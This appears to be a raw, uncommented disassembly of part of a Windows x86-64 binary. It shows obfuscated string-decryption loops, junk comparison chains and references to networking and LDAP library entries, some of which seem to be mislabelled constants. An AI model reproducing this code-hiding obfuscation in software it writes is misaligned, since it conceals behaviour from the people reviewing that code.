jmp 0x14008a5a2
movabs rdx, 0x926e5e57a9c9845c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xec0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008a5a2
movabs rdx, 0xb11d012e673b4144
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a5a0
movabs rdx, 0xa4d36cf3f60a3e5c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a590
lea rsi, [rbp + 0x17708b0]
jmp 0x14008b36a
lea rsi, [rbp + 0x8f8a24]
jmp 0x14008b36a
lea rsi, [rbp + 0xec0]
lea rdx, [0x140228200]
lea rcx, [rbp + 0x698]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x28]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006c4e0
mov r14, rax
mov byte [rbp + 0xee8], Ordinal_30
mov byte [rbp + 0xee9], 0x43
mov byte [rbp + 0xeea], 0x77
mov byte [rbp + 0xeeb], 0x77
mov byte [rbp + 0xeec], WSACleanup
mov byte [rbp + 0xeed], 0x76
mov byte [rbp + 0xeee], Ordinal_79
mov byte [rbp + 0xeef], 0x7e
mov byte [rbp + 0xef0], 0x77
mov byte [rbp + 0xef1], 0x77
mov byte [rbp + 0xef2], Ordinal_35
mov byte [rbp + 0xef3], WSASetLastError
mov byte [rbp + 0xef4], 0xc0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xef5], xmm0
mov dword [rbp + 0xf05], eax
mov word [rbp + 0xf09], ax
movabs r15, 0x9571df150b105d4a
movabs r12, 0xac6ba00530da07f6
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rcx, 0x8d362f31c39310a2
cmp rdi, 0x23
jae 0x14008c1da
movzx ebx, byte [rbp + rdi + 0xee8]
mov r10, rbx
cmp r8, rdi
ja 0x14008c1ce
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008b4a0
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x6e
jmp 0x14008b4e0
je 0x14008c147
inc rax
cmp r8, rax
je 0x14008c0dc
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008c083
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008c023
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008bfd1
nop dword [rax]
cmp r9, rdi
ja 0x14008c1c2
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14008b514
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 6
add r11b, dl
jmp 0x14008b560
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14008bfac
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008bf7e
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008bf4b
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008bf26
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008beed
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008bbc5
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008bba1
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008bb75
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008bb47
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008bb1f
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008baf7
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008babf
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008ba98
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008ba74
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008ba40
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008b570
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008c19f
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008c17c
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008b765
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14008b73d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008b71e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14008b9de
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008b981
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008b92e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008b900
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008b570
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008b8cc
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008b8a9
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008b882
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008b84a
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008b822
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14008b80e
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008b7e5
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14008b7b9
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008b796
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008b570
lea r8, [r9 + 9]
lea r9, [r8 + 0x40]
jmp 0x14008b570
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008b560
movabs rdx, 0x91ff41a1a9b3e6b2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008b4e0
movabs rdx, 0x7792e33e228dc56e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 2
add r11b, dl
movabs rcx, 0x8d362f31c39310a2
jmp 0x14008b46e
movabs rcx, 0xab8ef8a85882ea50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14008bff3
movabs rcx, 0x91229a44d15cc90c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
inc r9
dec rdi
inc rdi
jmp 0x14008b452
movabs rcx, 0x76b63be14a36a7c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
dec rdi
inc rdi
jmp 0x14008b452
movabs rdx, 0x5c49dd7dc3108684
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14008c032
movabs rdx, 0x41dd7f1a3bea6540
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008c06b
movabs rdx, 0x277120b6b4c443fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b452
movabs rdx, 0xd04c2532d9e22b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x14008c0a5
movabs rcx, 0xf29863efa6780174
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x14008c103
movabs rcx, 0xd82c058c1f51e030
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
movzx eax, byte [rbp + rdi + 0xee8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b452
movabs rcx, 0x161d19934d728d06
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
mov byte [rbp + rdi + 0xee8], r11b
inc rdi
jmp 0x14008b452
movabs rdx, 0xfbb0bb2fc64c6bc2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4e
add r11b, dl
cmp r9, 0x200
jb 0x14008b91e
movabs rdx, 0x4396cdd3ec98a08c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14008bff3
movabs rdx, 0xe1445ccc3f264a7e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x72
add r11b, dl
cmp r8, 2
jae 0x14008be93
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14008bd85
movabs rdx, 0x3b5b1df0a51b53e4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
jmp 0x14008b94d
movabs rdx, 0xc6d7fe68b800293a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 3
je 0x14008bebd
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14008bc9e
movabs rdx, 0xa5e93edb9a0af69a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x36
jmp 0x14008b9a0
movabs rcx, 0x80ab3a7e42622fbc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
movzx eax, byte [rbp + rdi + 0xee8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b452
movabs rdx, 0x663edc1abb3c0e78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x14008c100
movabs rdx, 0x4bd27db73415ed34
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x14008c0a5
movabs rdx, 0x31661f53acefcbf0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b452
movabs rdx, 0x16f9c0f025c9aaac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008c06b
movabs rdx, 0xfc8d628c9ea38968
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008c046
movabs rdx, 0xe2210429177d6824
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008b452
movabs rcx, 0xc7b4a5c5905746e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x14008b452
movabs rdx, 0xad4847620931259c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
jmp 0x14008bff0
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14008bbf6
movabs rdx, 0x8d362f31c39310a2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6e
jmp 0x14008b9fe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008bc37
movabs rcx, 0x2ae3be2a1620ba94
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xc
movzx eax, byte [rbp + rdi + 0xee8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b452
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008bc6c
movabs rdx, 0x5fbc7af1246cfd1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008c0a5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ba01
movabs rdx, 0xfe46b1464f51c4b4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008bff0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008bccf
movabs rdx, 0xc0559d3f213117de
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x12
jmp 0x14008bff0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008bd0a
movabs rdx, 0xf52e5a062f7d5a66
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008b452
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008bd3f
movabs rdx, 0x2a0716cd3dc99cee
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008c06b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008b9a3
movabs rdx, 0x93b8905b5a6221fe
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xee8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b452
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008bdc6
movabs rcx, 0x55c77c542c417528
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0xee8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b452
inc rax
cmp r8, rax
jne 0x14008bdfa
movabs rdx, 0x8aa0391b3a8db7b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008c0a5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008be2b
movabs rdx, 0xd9e55445d0001b7c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
jmp 0x14008c043
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008be61
movabs rcx, 0xf451b2a957263cc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x14008b452
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b950
movabs rdx, 0x292a6f7065727f48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008bff0
movabs rdx, 0x5e032c3773bec1d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xee8]
jmp 0x14008c040
movabs rdx, 0x786f8a9afae4e314
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xee8]
add r11b, bl
add r11b, dl
jmp 0x14008c0a5
movabs rdx, 0x83413094cb6788ae
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xee8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b452
movabs rdx, 0x68d4d2314441676a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008c100
movabs rcx, 0x33fc156a35f524e2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2e
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b452
movabs rdx, 0xe4b6fa3fa082c116
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008b452
movabs rdx, 0xafde3d7892367e8e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008bff0
movabs rdx, 0x7b0580b183ea3c06
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2a
add r11b, dl
movabs rcx, 0xd0ccfd05b02bb12e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x42
add bl, cl
mov byte [rbp + rdi + 0xee8], bl
inc r9
dec rdi
inc rdi
jmp 0x14008b452
movabs rdx, 0x2bc06586ee77d83a
mov ecx, gethostname
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0xeb395b693751d272
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x1e
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0xee8], bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008b452
mov rbx, r10
movabs rcx, 0xdc7b4a5c5905746e
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
movabs rdx, 0x5a5b9ccbe77f3b6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xee8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14008c103
movabs rdx, 0xc20eebf8d1df532a
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x26
movzx ebx, r10b
add r11b, dl
movabs rcx, 0x92dbe8fe820b0458
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x68
add bl, cl
mov byte [rbp + rdi + 0xee8], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xee8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b452
movabs rcx, 0xa7a28d954ab931e6
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
movzx eax, byte [rbp + rdi + 0xee8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008b452
movabs rcx, 0x5d2684da9b67a42a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x26
jmp 0x14008b44e
movabs rcx, 0x42ba2677144182e6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4a
jmp 0x14008b43d
lea rcx, [rbp + 0x14f3bc0]
jmp 0x14008c1e1
lea rcx, [rbp + 0x1624c62]
jmp 0x14008c1e1
lea rcx, [rbp + 0xee8]
mov dword [rbp + 0x1028], 0x41200000
mov dword [rbp + 0x1030], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1028]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1030]
mov r8, r14
mov edx, 8
call fcn.140037e30
mov byte [rbp + 0xf10], Ordinal_41
mov byte [rbp + 0xf11], Ordinal_50
mov byte [rbp + 0xf12], Ordinal_45
mov byte [rbp + 0xf13], 0xe5
mov byte [rbp + 0xf14], reloc.WS2_32.dll_sendto
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf15], xmm0
mov qword [rbp + 0xf25], rax
mov dword [rbp + 0xf2d], eax
mov word [rbp + 0xf31], ax
movabs rdi, 0xed32b8d60e5ffa64
movabs rsi, 0x15d5d3a13a93aa1c
movabs r15, 0x6cd1a747254185d4
movabs r14, 0x3c328512f0109e74
movabs r12, 0x628f3684a58d92cc
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008d0d8
movzx r11d, byte [rbp + rbx + 0xf10]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008d0cc
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008c303
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x34
jmp 0x14008c340
je 0x14008d03f
inc rax
cmp r8, rax
je 0x14008cfd6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008cfa3
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008cf67
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008cf16
nop dword [rax]
cmp r9, rbx
ja 0x14008d0c0
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14008c376
lea rdx, [rbx + rdi]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c3c0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14008cef2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008cec3
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008ce61
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008ce25
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008cdcc
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14008ca52
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008ca29
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008c9fc
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008c9cd
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008c9a9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008c972
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008c939
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008c915
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008c8ef
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008c8ba
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008c3d0
lea r8, [r9 + 0x40]
lea r9, [r8 + 5]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008d09c
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008d073
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008c5c2
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008c5a7
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008c587
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008c863
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008c7fd
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008c7a9
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008c77a
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14008c3d0
lea r8, [r9 + 1]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008c745
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008c71f
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008c6fb
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008c6c2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008c68b
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008c667
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14008c638
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008c60b
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008c5e2
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008c3d0
lea r8, [r9 + 0x42]
lea r9, [r8 + 6]
jmp 0x14008c3d0
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c3c0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x14008c340
lea rdx, [rbx + r12]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c2c5
movabs rdx, 0x6995c6b072ffd320
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cf35
movabs rcx, 0x8ff27822287cc778
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
inc r9
dec rbx
inc rbx
jmp 0x14008c2b2
movabs rdx, 0xb64f2993ddf9bbd0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008c2b2
movabs rcx, 0xdcabdb059376b028
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x14008ce80
movabs rcx, 0x3088c7748f3a480
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
movabs rdx, 0x29653de8fe7098d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
movabs rcx, 0x4fc1ef5ab3ed8d30
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x14008cdf0
movabs rdx, 0x761ea0cc696a8188
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14008cff6
movabs rcx, 0x9c7b523e1ee775e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0xf10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c2b2
movabs rcx, 0x7c630dda649fd8bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
mov byte [rbp + rbx + 0xf10], r10b
inc rbx
jmp 0x14008c2b2
movabs rdx, 0xa2bfbf4c1a1ccd14
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x61
jb 0x14008c799
movabs rcx, 0x5b88a658d81b5278
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14008cf35
movabs rdx, 0xc91c70bdcf99c16c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r8, 0x200
jae 0x14008cd70
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14008cc46
movabs rdx, 0xdb2794c9eefcdde8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
add r10b, dl
